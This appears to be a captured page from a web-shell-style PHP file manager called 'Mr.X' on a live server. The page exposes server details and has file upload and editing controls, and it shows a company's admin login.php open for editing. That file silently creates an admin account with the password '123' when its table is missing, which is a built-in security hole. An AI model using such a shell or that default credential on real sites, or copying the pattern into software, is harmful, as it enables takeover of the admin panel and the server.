🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:login.php
<?php session_start(); require_once '../includes/db.php'; if (isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true) { header("Location: index.php"); exit; } $error = ''; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $username = $_POST['username'] ?? ''; $password = $_POST['password'] ?? ''; if (empty($username) || empty($password)) { $error = "Please enter both username and password."; } else { try { $stmt = $pdo->prepare("SELECT * FROM admin_users WHERE username = ? LIMIT 1"); $stmt->execute([$username]); $user = $stmt->fetch(); } catch (PDOException $e) { // If the table doesn't exist, create it and insert a default user if ($e->getCode() == '42S02') { // 42S02 is "Base table or view not found" $pdo->exec("CREATE TABLE admin_users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP )"); $default_password = password_hash('123', PASSWORD_DEFAULT); $pdo->exec("INSERT INTO admin_users (username, password) VALUES ('admin', '$default_password')"); // Retry the query $stmt = $pdo->prepare("SELECT * FROM admin_users WHERE username = ? LIMIT 1"); $stmt->execute([$username]); $user = $stmt->fetch(); } else { $error = "Database Error: " . $e->getMessage(); } } if (empty($error)) { if (!empty($user) && password_verify($password, $user['password'])) { $_SESSION['admin_logged_in'] = true; $_SESSION['admin_id'] = $user['id']; $_SESSION['admin_user'] = $user['username']; header("Location: index.php"); exit; } else { $error = "Invalid username or password."; } } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admin Login - Madushan ALUMINIUM pvt ltd</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="../assets/css/style.css"> <style> body { background: linear-gradient(135deg, var(--primary-black), #2a2a2a); height: 100vh; display: flex; align-items: center; justify-content: center; } .login-card { max-width: 400px; width: 100%; } </style> </head> <body> <div class="login-card glass-card"> <div class="text-center mb-4"> <h2 class="text-gold fw-bold">Admin Panel</h2> <p class="text-white-50">Madushan ALUMINIUM pvt ltd</p> </div> <?php if($error): ?> <div class="alert alert-danger bg-dark text-danger border-danger"><?= e($error) ?></div> <?php endif; ?> <form action="login.php" method="POST"> <div class="mb-3"> <label class="form-label text-white-50">Username</label> <input type="text" name="username" class="form-control custom-input" required autofocus> </div> <div class="mb-4"> <label class="form-label text-white-50">Password</label> <input type="password" name="password" class="form-control custom-input" required> </div> <button type="submit" class="btn btn-gold w-100 rounded-pill">Login</button> </form> </div> </body> </html>
Save Changes
Cancel
Create New File
Create New Folder